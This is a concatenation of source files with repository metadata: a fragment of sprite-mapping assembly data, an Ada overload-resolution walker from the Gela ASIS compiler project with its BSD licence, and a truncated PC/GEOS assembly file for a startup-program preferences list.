dc.b 0, 4, 8, 5, $FF, $FF word_20AC6: dc.w 1 dc.b 0, 4, 8, 7, $FF, $FF word_20ACE: dc.w 1 dc.b 0, 4, 8, 9, $FF, $FF word_20AD6: dc.w 1 dc.b 0, 5, 8, $B, $FF, $FF word_20ADE: dc.w 1 dc.b 0, 5, 8, $F, $FF, $FF word_20AE6: dc.w 1 dc.b 0, 5, 8, $13, $FF, $FF word_20AEE: dc.w 1 dc.b 0, 1, 8, $17, $FF, $FF word_20AF6: dc.w 1 dc.b 0, 1, 8, $19, $FF, $FF word_20AFE: dc.w 1 dc.b $FC, 8, 0, 0, $FF, $F4 word_20B06: dc.w 1 dc.b $FC, 4, 0, 3, $FF, $F8
source/asis/asis-gela-overloads-walk.adb
faelys/gela-asis
4
9384
<filename>source/asis/asis-gela-overloads-walk.adb ------------------------------------------------------------------------------ -- G E L A A S I S -- -- ASIS implementation for Gela project, a portable Ada compiler -- -- http://gela.ada-ru.org -- -- - - - - - - - - - - - - - - - -- -- Read copyright and license at the end of this file -- ------------------------------------------------------------------------------ -- $Revision: 209 $ $Date: 2013-11-30 21:03:24 +0200 (Сб., 30 нояб. 2013) $: with Ada.Wide_Text_IO; with Asis.Elements; with Asis.Expressions; with Asis.Statements; with Asis.Declarations; with Asis.Gela.Debug; with Asis.Gela.Element_Utils; with Asis.Gela.Overloads.Walk.Up; with Asis.Gela.Overloads.Walk.Down; with Asis.Gela.Replace; with XASIS.Types; with XASIS.Utils; with Asis.Gela.Classes; package body Asis.Gela.Overloads.Walk is use Asis.Elements; use Asis.Gela.Classes; package R renames Asis.Gela.Replace; function Universal_Integer return Asis.Declaration renames XASIS.Types.Universal_Integer; function Universal_Real return Asis.Declaration renames XASIS.Types.Universal_Real; function Universal_Access return Asis.Declaration renames XASIS.Types.Universal_Access; procedure Set_Identifier (Element : in out Asis.Expression; Tipe : in Type_Info); procedure Set_Defining_Name (Element : in out Asis.Identifier; Name : in Asis.Defining_Name); ----------- -- After -- ----------- procedure After (Element : in out Asis.Element; Control : in out Traverse_Control; Resolver : in out Up_Resolver) is begin case Element_Kind (Element) is when An_Expression => case Expression_Kind (Element) is when A_Box_Expression => Up.Push_Single (Resolver, (Kind => A_Box)); when An_Integer_Literal => Up.Push_Single (Resolver, Up_Expression (Universal_Integer, Element)); when A_Real_Literal => Up.Push_Single (Resolver, Up_Expression (Universal_Real, Element)); when A_String_Literal => raise Internal_Error; -- go to An_Operator_Symbol when An_Identifier => Up.Push_Single (Resolver, (An_Identifier, Element)); when An_Operator_Symbol => Up.Operator_Symbol_Or_String (Resolver, Element); when A_Character_Literal => Up.Push_Single (Resolver, (An_Identifier, Element), Resolve => True); when An_Enumeration_Literal => raise Internal_Error; -- go to An_Identifier when An_Explicit_Dereference => Up.Explicit_Dereference (Resolver, Element); when A_Function_Call => Up.Function_Call (Resolver, Element); when An_Indexed_Component => raise Internal_Error; -- go to A_Function_Call when A_Slice => raise Internal_Error; -- go to A_Function_Call when A_Selected_Component => Up.Selected_Component (Resolver, Element); when An_Attribute_Reference => Up.Attribute_Reference (Resolver, Element); when A_Record_Aggregate => Up.Aggregate (Resolver, Element); when An_Extension_Aggregate => Up.Aggregate (Resolver, Element, True); when A_Positional_Array_Aggregate | A_Named_Array_Aggregate => raise Internal_Error; -- go to A_Record_Aggregate when An_In_Range_Membership_Test | A_Not_In_Range_Membership_Test | An_In_Type_Membership_Test | A_Not_In_Type_Membership_Test => Up.Membership (Resolver, Element); when An_And_Then_Short_Circuit | An_Or_Else_Short_Circuit => Up.Short_Circuit (Resolver, Element); when A_Null_Literal => Up.Push_Single (Resolver, Up_Expression (Universal_Access, Element)); when A_Parenthesized_Expression => null; when A_Type_Conversion => raise Internal_Error; -- go to function call when A_Qualified_Expression => Up.Qualified_Expression (Resolver, Element); when An_Allocation_From_Subtype => Up.Allocation (Resolver, Element); when An_Allocation_From_Qualified_Expression => Up.Allocation (Resolver, Element, True); when Not_An_Expression => raise Internal_Error; end case; when An_Association => case Association_Kind (Element) is when A_Record_Component_Association => declare Choises : Asis.Element_List := Asis.Expressions.Record_Component_Choices (Element); begin for I in reverse Choises'Range loop case Definition_Kind (Choises (I)) is when An_Others_Choice => null; when A_Discrete_Range => Drop_One (Resolver); when others => Drop_One (Resolver); end case; end loop; end; when A_Parameter_Association => if not Is_Nil (Asis.Expressions.Formal_Parameter (Element)) then Drop_One (Resolver); end if; when others => Ada.Wide_Text_IO.Put_Line ("After An_Association : " & Asis.Elements.Debug_Image (Element)); raise Internal_Error; end case; when A_Definition => case Definition_Kind (Element) is when A_Constraint => case Constraint_Kind (Element) is when A_Simple_Expression_Range => Up.Simple_Range (Resolver, Element); when A_Range_Attribute_Reference => null; when others => Ada.Wide_Text_IO.Put_Line ("After A_Constraint : " & Asis.Elements.Debug_Image (Element)); raise Unimplemented; end case; -- FIXME: Delete this case (A_Constraint instead) when A_Discrete_Range | A_Discrete_Subtype_Definition => case Discrete_Range_Kind (Element) is when A_Discrete_Simple_Expression_Range => Up.Simple_Range (Resolver, Element); when A_Discrete_Range_Attribute_Reference => null; when others => Ada.Wide_Text_IO.Put_Line ("After A_Discrete_Range : " & Asis.Elements.Debug_Image (Element)); raise Unimplemented; end case; when An_Others_Choice => null; when others => Ada.Wide_Text_IO.Put_Line ("After A_Definition : " & Asis.Elements.Debug_Image (Element) & Definition_Kinds'Wide_Image (Definition_Kind (Element))); raise Unimplemented; end case; when A_Statement => case Statement_Kind (Element) is when An_Assignment_Statement => Up.Assignment (Resolver, Element); when A_Procedure_Call_Statement => Up.Function_Call (Resolver, Element); when others => raise Unimplemented; end case; when A_Defining_Name => -- Labels as child of statements null; when others => Ada.Wide_Text_IO.Put_Line ("After : " & Asis.Elements.Debug_Image (Element)); raise Unimplemented; end case; pragma Assert (Debug.Run (Element, Debug.Overload_Up) or else Debug.Dump (Types.Image (U.Top (Resolver.Stack)))); end After; ----------- -- After -- ----------- procedure After (Element : in out Asis.Element; Control : in out Traverse_Control; Resolver : in out Down_Resolver) is begin null; end After; ------------ -- Before -- ------------ procedure Before (Element : in out Asis.Element; Control : in out Traverse_Control; Resolver : in out Up_Resolver) is begin case Element_Kind (Element) is when An_Expression => case Expression_Kind (Element) is when An_Allocation_From_Subtype => Up.Allocation (Resolver, Element); Control := Abandon_Children; when others => null; end case; when others => null; end case; end Before; ------------ -- Before -- ------------ procedure Before (Element : in out Asis.Element; Control : in out Traverse_Control; Resolver : in out Down_Resolver) is use Asis.Expressions; Got : Down_Interpretation; Next : Down_Interpretation; begin Down.Check_Implicit (Resolver, Element, Control); pragma Assert (Debug.Run (Element, Debug.Overload_Down) or else Debug.Dump (Types.Image (D.Top (Resolver.Stack)))); if Control = Abandon_Children then return; end if; case Element_Kind (Element) is when An_Expression => case Expression_Kind (Element) is when A_Box_Expression => D.Pop (Resolver.Stack, Next); if Next.Kind = An_Expression then Down.Set_Expression_Type (Element, Next.Expression_Type); end if; when An_Integer_Literal => D.Pop (Resolver.Stack, Next); if Next.Kind /= An_Expression then raise Internal_Error; end if; Down.Set_Expression_Type (Element, Universal_Integer); when A_Real_Literal => D.Pop (Resolver.Stack, Next); if Next.Kind /= An_Expression then raise Internal_Error; end if; Down.Set_Expression_Type (Element, Universal_Real); when A_String_Literal => raise Internal_Error; -- go to An_Operator_Symbol when An_Identifier => D.Pop (Resolver.Stack, Next); -- FIXME function without parameters case Next.Kind is when An_Expression => Set_Identifier (Element, Next.Expression_Type); Down.Set_Expression_Type (Element, Next.Expression_Type); when A_Declaration => Set_Declaration (Element, Next.Declaration); when A_Procedure_Call | A_Prefixed_View | A_Family_Member | A_Subprogram_Reference | A_Range | A_Subaggregate | A_Skip | An_Attribute_Function | Up_Only_Kinds => raise Internal_Error; end case; when An_Operator_Symbol => D.Pop (Resolver.Stack, Next); case Next.Kind is when An_Expression => if Is_String (Next.Expression_Type) then R.Operator_Symbol_To_String_Literal (Element); Down.Set_Expression_Type (Element, Next.Expression_Type); else raise Internal_Error; end if; when A_Declaration => Set_Declaration (Element, Next.Declaration); when A_Procedure_Call | A_Prefixed_View | A_Family_Member | A_Range | A_Subprogram_Reference | Up_Only_Kinds | A_Subaggregate | An_Attribute_Function | A_Skip => raise Internal_Error; end case; when A_Character_Literal => D.Pop (Resolver.Stack, Next); case Next.Kind is when An_Expression => Set_Identifier (Element, Next.Expression_Type); Down.Set_Expression_Type (Element, Next.Expression_Type); when A_Declaration => Set_Declaration (Element, Next.Declaration); -- Set_Identifier (Element, Next.Declaration); when A_Procedure_Call | A_Prefixed_View | A_Family_Member | A_Range | A_Subprogram_Reference | Up_Only_Kinds | A_Subaggregate | An_Attribute_Function | A_Skip => raise Internal_Error; end case; when An_Enumeration_Literal => raise Internal_Error; -- go to An_Identifier when An_Explicit_Dereference => Down.Explicit_Dereference (Resolver, Element); when A_Function_Call => Down.Function_Call (Resolver, Element); when An_Indexed_Component => null; -- this is new Element introduced -- by R.Procedure_To_Indexed_Entry_Call -- we skip it. -- actual Indexed_Component goes into A_Function_Call when A_Slice => raise Internal_Error; -- go to A_Function_Call when A_Selected_Component => Down.Selected_Component (Resolver, Element); when An_Attribute_Reference => Down.Attribute_Reference (Resolver, Element); when A_Record_Aggregate => Down.Aggregate (Resolver, Element); when An_Extension_Aggregate => Down.Aggregate (Resolver, Element, True); when A_Positional_Array_Aggregate | A_Named_Array_Aggregate => raise Internal_Error; -- go to A_Record_Aggregate when An_In_Range_Membership_Test | A_Not_In_Range_Membership_Test | An_In_Type_Membership_Test | A_Not_In_Type_Membership_Test => Down.Membership (Resolver, Element); when An_And_Then_Short_Circuit | An_Or_Else_Short_Circuit => D.Pop (Resolver.Stack, Next); if Next.Kind /= An_Expression then raise Internal_Error; end if; Down.Set_Expression_Type (Element, Next.Expression_Type); D.Push (Resolver.Stack, Next); D.Push (Resolver.Stack, Next); when A_Null_Literal => D.Pop (Resolver.Stack, Next); if Next.Kind /= An_Expression then raise Internal_Error; end if; Down.Set_Expression_Type (Element, Universal_Access); when A_Parenthesized_Expression => D.Pop (Resolver.Stack, Next); if Next.Kind = An_Expression then Down.Set_Expression_Type (Element, Next.Expression_Type); end if; D.Push (Resolver.Stack, Next); when A_Type_Conversion => raise Internal_Error; -- go to function call when A_Qualified_Expression => Down.Qualified_Expression (Resolver, Element); when An_Allocation_From_Subtype => D.Pop (Resolver.Stack, Next); if Next.Kind /= An_Expression then raise Internal_Error; end if; Down.Set_Expression_Type (Element, Next.Expression_Type); Control := Abandon_Children; when An_Allocation_From_Qualified_Expression => D.Pop (Resolver.Stack, Got); if Got.Kind /= An_Expression then raise Internal_Error; end if; Down.Set_Expression_Type (Element, Got.Expression_Type); Next := To_Down_Interpretation (Dereference (Got.Expression_Type)); D.Push (Resolver.Stack, Next); when Not_An_Expression => raise Internal_Error; end case; -- End of Expressions when An_Association => case Association_Kind (Element) is when A_Record_Component_Association => Check_Association (Element); when A_Parameter_Association => null; -- FIXME when others => Ada.Wide_Text_IO.Put_Line ("Before2 : " & Asis.Elements.Debug_Image (Element)); raise Unimplemented; end case; when A_Definition => case Definition_Kind (Element) is when A_Constraint => case Constraint_Kind (Element) is when A_Simple_Expression_Range => D.Pop (Resolver.Stack, Got); if Got.Kind = A_Range then Next := (An_Expression, Got.Range_Type); elsif Got.Kind /= An_Expression then Ada.Wide_Text_IO.Put_Line ("Before7"); raise Internal_Error; else Next := Got; end if; D.Push (Resolver.Stack, Next); D.Push(Resolver.Stack, Next); when A_Range_Attribute_Reference => null; when others => Ada.Wide_Text_IO.Put_Line ("Before4 : " & Asis.Elements.Debug_Image (Element)); raise Unimplemented; end case; -- FIXME: Delete this case (A_Constraint instead) when A_Discrete_Range | A_Discrete_Subtype_Definition => case Discrete_Range_Kind (Element) is when A_Discrete_Simple_Expression_Range => D.Pop (Resolver.Stack, Got); if Got.Kind = A_Range then Next := (An_Expression, Got.Range_Type); elsif Got.Kind /= An_Expression then Ada.Wide_Text_IO.Put_Line ("Before6"); raise Internal_Error; else Next := Got; end if; D.Push (Resolver.Stack, Next); D.Push(Resolver.Stack, Next); when A_Discrete_Range_Attribute_Reference => null; when others => Ada.Wide_Text_IO.Put_Line ("Before4 : " & Asis.Elements.Debug_Image (Element)); raise Unimplemented; end case; when An_Others_Choice => null; when others => Ada.Wide_Text_IO.Put_Line ("Before3 : " & Asis.Elements.Debug_Image (Element)); raise Unimplemented; end case; when A_Statement => case Statement_Kind (Element) is when An_Assignment_Statement => Down.Assignment (Resolver, Element); when A_Procedure_Call_Statement => Down.Function_Call (Resolver, Element); when others => raise Unimplemented; end case; when A_Defining_Name => -- Labels as child of statements null; when others => Ada.Wide_Text_IO.Put_Line ("Before : " & Asis.Elements.Debug_Image (Element)); raise Unimplemented; end case; end Before; ----------------------- -- Check_Association -- ----------------------- procedure Check_Association (Element : in out Asis.Element) is Parent : Asis.Element := Enclosing_Element (Element); begin case Expression_Kind (Parent) is when A_Function_Call => R.Record_To_Parameter_Association (Element); when A_Positional_Array_Aggregate | A_Named_Array_Aggregate => R.Record_To_Array_Association (Element); when A_Record_Aggregate | An_Extension_Aggregate => null; when Not_An_Expression => case Statement_Kind (Parent) is when A_Procedure_Call_Statement | An_Entry_Call_Statement => R.Record_To_Parameter_Association (Element); when others => Ada.Wide_Text_IO.Put_Line ("Check_Association2"); end case; when others => Ada.Wide_Text_IO.Put_Line ("Check_Association : " & Asis.Elements.Debug_Image (Parent) & ' ' & Expression_Kinds'Wide_Image (Expression_Kind (Parent))); raise Internal_Error; end case; end Check_Association; -------------------- -- Copy_Store_Set -- -------------------- procedure Copy_Store_Set (Source : in Up_Resolver; Target : in out Down_Resolver) is begin Target.Store := Source.Store; Target.Implicit := Source.Implicit; end Copy_Store_Set; ------------------------------------ -- Could_Be_Named_Array_Aggregate -- ------------------------------------ function Could_Be_Named_Array_Aggregate (Item : Asis.Element) return Boolean is use Asis.Expressions; List : Asis.Association_List := Record_Component_Associations (Item); begin if List'Length = 0 then -- null record return False; end if; for I in List'Range loop declare Choises : Asis.Expression_List := Record_Component_Choices (List (I)); begin if List'Length = 1 and then Choises'Length = 0 then return False; end if; if Element_Kind (Component_Expression (List(I))) /= An_Expression then return False; end if; end; end loop; return True; end Could_Be_Named_Array_Aggregate; ----------------------------------------- -- Could_Be_Positional_Array_Aggregate -- ----------------------------------------- function Could_Be_Positional_Array_Aggregate (Item : Asis.Element) return Boolean renames R.Could_Be_Positional_Array_Aggregate; ------------------------------- -- Could_Be_Record_Aggregate -- ------------------------------- function Could_Be_Record_Aggregate (Item : Asis.Element; Extension : Boolean) return Boolean is use Asis.Expressions; List : Asis.Association_List := Record_Component_Associations (Item); begin for I in List'Range loop if Element_Kind (Component_Expression (List(I))) /= An_Expression then return False; end if; declare Choises : Asis.Expression_List := Record_Component_Choices (List (I)); begin if not Extension and then List'Length = 1 and then Choises'Length = 0 then return False; end if; for J in Choises'Range loop if Expression_Kind (Choises (J)) /= An_Identifier and then Definition_Kind (Choises (J)) /= An_Others_Choice then return False; end if; end loop; end; end loop; return True; end Could_Be_Record_Aggregate; ----------------------- -- Destroy_Store_Set -- ----------------------- procedure Destroy_Store_Set (Source : in out Up_Resolver) is begin Destroy (Source.Store); end Destroy_Store_Set; -------------- -- Drop_One -- -------------- procedure Drop_One (Resolver : in out Up_Resolver) is Top : Up_Interpretation_Set; Drop : Up_Interpretation_Set; begin U.Pop (Resolver.Stack, Top); U.Pop (Resolver.Stack, Drop); U.Push (Resolver.Stack, Top); Destroy (Drop); end Drop_One; ----------------------- -- Find_Formal_Index -- ----------------------- procedure Find_Formal_Index (Params : in Asis.Association_List; Actual_Index : in List_Index; Profile : in Asis.Parameter_Specification_List; Formal_Index : out List_Index; Found : out Boolean) is Formal : Asis.Identifier := Get_Formal_Parameter (Params, Actual_Index); Index : List_Index := Actual_Index; Fake : Boolean := Profile'Length = 0 or else not XASIS.Utils.Is_Parameter_Specification (Profile (1)); begin if Fake then Formal_Index := Actual_Index; Found := Formal_Index <= Profile'Last; elsif not Is_Nil (Formal) then Found := False; Find_Formal : for I in Profile'Range loop declare List : constant Asis.Defining_Name_List := Asis.Declarations.Names (Profile (I)); Img : constant Wide_String := Asis.Expressions.Name_Image (Formal); begin for J in List'Range loop if XASIS.Utils.Has_Name (List (J), Img) then Found := True; Formal_Index := I; exit Find_Formal; end if; end loop; end; end loop Find_Formal; else Found := False; Find_Position : for I in Profile'Range loop declare List : constant Asis.Defining_Name_List := Asis.Declarations.Names (Profile (I)); begin for J in List'Range loop if Index = 1 then Found := True; Formal_Index := I; exit Find_Position; end if; Index := Index - 1; end loop; end; end loop Find_Position; end if; end Find_Formal_Index; -------------------------- -- Get_Actual_Parameter -- -------------------------- function Get_Actual_Parameter (Params : Asis.Association_List; Index : List_Index) return Asis.Expression is use Asis.Expressions; Result : Asis.Expression; begin case Association_Kind (Params (Index)) is when A_Parameter_Association => Result := Actual_Parameter (Params (Index)); when A_Record_Component_Association => Result := Component_Expression (Params (Index)); when others => raise Internal_Error; end case; return Result; end Get_Actual_Parameter; ------------------------- -- Get_Call_Parameters -- ------------------------- function Get_Call_Parameters (Element : Asis.Element ) return Asis.Association_List is begin if Expression_Kind (Element) = A_Function_Call then return Asis.Expressions.Function_Call_Parameters (Element); elsif Statement_Kind (Element) = A_Procedure_Call_Statement then return Asis.Statements.Call_Statement_Parameters (Element); else raise Internal_Error; end if; end Get_Call_Parameters; -------------------------- -- Get_Formal_Parameter -- -------------------------- function Get_Formal_Parameter (Params : Asis.Association_List; Index : List_Index) return Asis.Identifier is use Asis.Expressions; Result : Asis.Identifier; begin case Association_Kind (Params (Index)) is when A_Parameter_Association => Result := Formal_Parameter (Params (Index)); when A_Record_Component_Association => declare List : Asis.Expression_List := Record_Component_Choices (Params (Index)); begin if List'Length /= 1 or else Element_Kind (List (1)) /= An_Expression then Result := Nil_Element; else Result := List (1); end if; end; when others => raise Internal_Error; end case; return Result; end Get_Formal_Parameter; ------------------- -- Get_Implicits -- ------------------- function Get_Implicits (Resolver : in Up_Resolver) return Implicit_Set is begin return Resolver.Implicit; end Get_Implicits; ------------------------- -- Get_Interpretations -- ------------------------- function Get_Interpretations (Resolver : in Up_Resolver) return Up_Interpretation_Set is begin return U.Top (Resolver.Stack); end Get_Interpretations; ---------------------- -- Is_Expanded_Name -- ---------------------- function Is_Expanded_Name (Item : Asis.Element) return Boolean is use Asis.Expressions; Name : Asis.Expression := Selector (Item); Def : Asis.Defining_Name := Corresponding_Name_Definition (Name); begin return not Is_Nil (Def); end Is_Expanded_Name; ------------------- -- Is_Subprogram -- ------------------- function Is_Subprogram (Decl : Asis.Declaration) return Boolean is Kind : Asis.Declaration_Kinds := Declaration_Kind (Decl); begin case Kind is when A_Procedure_Declaration | A_Function_Declaration | A_Procedure_Body_Declaration | A_Function_Body_Declaration | A_Procedure_Renaming_Declaration | A_Function_Renaming_Declaration | A_Procedure_Instantiation | A_Function_Instantiation => return True; when others => return False; end case; end Is_Subprogram; ------------------------ -- Set_Interpretation -- ------------------------ procedure Set_Interpretation (Resolver : in out Down_Resolver; Item : in Down_Interpretation) is begin D.Push (Resolver.Stack, Item); end Set_Interpretation; -------------------- -- Set_Identifier -- -------------------- procedure Set_Identifier (Element : in out Asis.Expression; Tipe : in Type_Info) is use Asis.Expressions; List : Asis.Defining_Name_List := Corresponding_Name_Definition_List (Element); Parent : Asis.Declaration; Found : Asis.Defining_Name; E_Type : Type_Info; Count : Natural := 0; begin for I in List'Range loop Parent := Enclosing_Element (List (I)); E_Type := Type_Of_Declaration (Parent, Element); if not Is_Not_Type (E_Type) and then Is_Expected_Type (E_Type, Tipe) then Count := Count + 1; Found := List (I); end if; end loop; if Count /= 1 then Ada.Wide_Text_IO.Put_Line ("Set_Identifier: " & Debug_Image (Element) & " " & Natural'Wide_Image (Count)); Ada.Wide_Text_IO.Put_Line ("Tipe: " & Debug_Image (Tipe)); Ada.Wide_Text_IO.Put_Line ("Found: " & Debug_Image (Found)); else Set_Defining_Name (Element, Found); end if; end Set_Identifier; --------------------- -- Set_Declaration -- --------------------- procedure Set_Declaration (Element : in out Asis.Identifier; Decl : in Asis.Declaration) is Img : constant Wide_String := Asis.Expressions.Name_Image (Element); Name : Asis.Defining_Name := XASIS.Utils.Get_Defining_Name (Decl, Img); begin Set_Defining_Name (Element, Name); end Set_Declaration; ----------------------- -- Set_Defining_Name -- ----------------------- procedure Set_Defining_Name (Element : in out Asis.Identifier; Name : in Asis.Defining_Name) is begin if Expression_Kind (Element) = An_Identifier and then Defining_Name_Kind (Name) = A_Defining_Enumeration_Literal then R.Identifier_To_Enumeration_Literal (Element); end if; Element_Utils.Set_Resolved (Element, (1 => Name)); end Set_Defining_Name; end Asis.Gela.Overloads.Walk; ------------------------------------------------------------------------------ -- Copyright (c) 2006-2013, <NAME> -- All rights reserved. -- -- Redistribution and use in source and binary forms, with or without -- modification, are permitted provided that the following conditions are met: -- -- * Redistributions of source code must retain the above copyright notice, -- this list of conditions and the following disclaimer. -- * Redistributions in binary form must reproduce the above copyright -- notice, this list of conditions and the following disclaimer in the -- documentation and/or other materials provided with the distribution. -- * Neither the name of the <NAME>, IE nor the names of its -- contributors may be used to endorse or promote products derived from -- this software without specific prior written permission. -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -- AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -- IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -- ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE -- LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -- CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -- SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -- INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -- CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -- ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -- POSSIBILITY OF SUCH DAMAGE. ------------------------------------------------------------------------------
Library/Pref/configui/configuiProgList.asm
NCommander/pcgeos
0
240567
<filename>Library/Pref/configui/configuiProgList.asm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Designs in Light 2002 -- All Rights Reserved FILE: configuiProgList.asm %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ProgListCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LockArrayForList %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Lock the array for the list, creating if necessary CALLED BY: UTILITY PASS: *ds:si - ConfigUIListClass object *ds:si - chunk array ^lbx:si - chunk array RETURN: none DESTROYED: none %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ LockArrayForList proc near class ConfigUIListClass uses ax, di .enter push si call getArray tst bx ;any array? jz createArray ;branch if not pop ax ;throw away chunk lockArray: call MemLock mov ds, ax .leave ret getArray: mov di, ds:[si] add di, ds:[di].ConfigUIList_offset movdw bxsi, ds:[di].CUILI_array retn createArray: pop si ;*ds:si <- list object push cx, dx, bp mov ax, MSG_PREF_DYNAMIC_LIST_BUILD_ARRAY call ObjCallInstanceNoLock pop cx, dx, bp call getArray jmp lockArray LockArrayForList endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ConfigUIListInitUI %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Initialize the startup list UI CALLED BY: MSG_CUIL_INIT_UI PASS: *ds:si - ConfigUIListClass object RETURN: none DESTROYED: ax, cx, dx, di %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ConfigUIListInitUI method dynamic ConfigUIListClass, MSG_CUIL_INIT_UI uses bp .enter ; ; Initialize the list for how many items we found ; push ds, si call LockArrayForList call ChunkArrayGetCount ;cx <- # items call MemUnlock pop ds, si mov ax, MSG_GEN_DYNAMIC_LIST_INITIALIZE call ObjCallInstanceNoLock ; ; set no selection, and update status ; mov ax, MSG_GEN_ITEM_GROUP_SET_NONE_SELECTED clr dx ;dx <- not indtrmnt. call ObjCallInstanceNoLock mov ax, MSG_GEN_ITEM_GROUP_SEND_STATUS_MSG clr cx ;cx <- not modifide call ObjCallInstanceNoLock .leave ret ConfigUIListInitUI endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ConfigUIListMarkDirty, MarkNotDirty %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Mark the list dirty CALLED BY: MSG_CUIL_MARK_DIRTY PASS: *ds:si - ConfigUIListClass object RETURN: none DESTROYED: ax, cx, dx, di %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ConfigUIListMarkDirty method dynamic ConfigUIListClass, MSG_CUIL_MARK_DIRTY mov ds:[di].CUILI_dirty, TRUE ret ConfigUIListMarkDirty endm ConfigUIListMarkNotDirty method dynamic ConfigUIListClass, MSG_CUIL_MARK_NOT_DIRTY mov ds:[di].CUILI_dirty, FALSE ret ConfigUIListMarkNotDirty endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ConfigUIListReset %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Reset to our previous settings CALLED BY: PrefMgr PASS: *ds:si - ConfigUIListClass object ds:di - ConfigUIListClass object RETURN: none DESTROYED: bx, cx, dx, di, bp %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ConfigUIListReset method dynamic ConfigUIListClass, MSG_GEN_RESET ; ; Free the old array, if any ; clr bx xchg bx, ds:[di].CUILI_array.handle tst bx ;any array? jz rebuildArray ;branch if not call MemFree ; ; Go rebuild a new one ; rebuildArray: mov ax, MSG_PREF_DYNAMIC_LIST_BUILD_ARRAY GOTO ObjCallInstanceNoLock ConfigUIListReset endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ConfigUIListHasStateChanged %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return whether anything has changed CALLED BY: PrefMgr PASS: *ds:si - ConfigUIStartupListClass object ds:di - ConfigUIStartupListClass object RETURN: carry - set if changed DESTROYED: bx, cx, dx, di, bp %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ConfigUIListHasStateChanged method dynamic ConfigUIListClass, MSG_PREF_HAS_STATE_CHANGED tst ds:[di].CUILI_dirty ;clears carry jz done ;branch if not dirty stc ;carry <- changed done: ret ConfigUIListHasStateChanged endm ;-------------- COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% StartupListBuildArray %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Create the list of startup apps CALLED BY: PrefMgr PASS: *ds:si - ConfigUIStartupListClass object ds:di - ConfigUIStartupListClass object RETURN: none DESTROYED: bx, cx, dx, di, bp %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ uiCat2 char "ui", 0 startupKey char "execOnStartup",0 StartupListBuildArray method dynamic StartupListClass, MSG_PREF_DYNAMIC_LIST_BUILD_ARRAY .enter push ds:OLMBH_header.LMBH_handle push si ; ; Create an lmem block for our array ; mov ax, LMEM_TYPE_GENERAL ;ax <- LMemType clr cx ;cx <- default header call MemAllocLMem call MemLock mov ds, ax ;ds <- seg addr push bx ;save array block ; ; Create a chunk array ; clr bx ;bx <- extra data clr cx ;cx <- default header clr si ;si <- alloc block call NameArrayCreate mov bx, si ;*ds:bx <- chunkarray push si ;save array chunk ; ; Enumerate the execOnStartup string section ; segmov es, ds ;es <- obj block segmov ds, cs, cx mov si, offset uiCat2 ;ds:si <- category mov dx, offset startupKey ;cx:dx <- key mov di, cs mov ax, offset StartupListBuildCallback mov bp, InitFileReadFlags <IFCC_INTACT, 0, 0, 0> call InitFileEnumStringSection ; ; Save the array optr for later ; pop ax ;ax <- array chunk pop bx ;bx <- array block mov dx, bx call MemUnlock pop si pop bx ;^lbx:si <- object call MemDerefDS mov di, 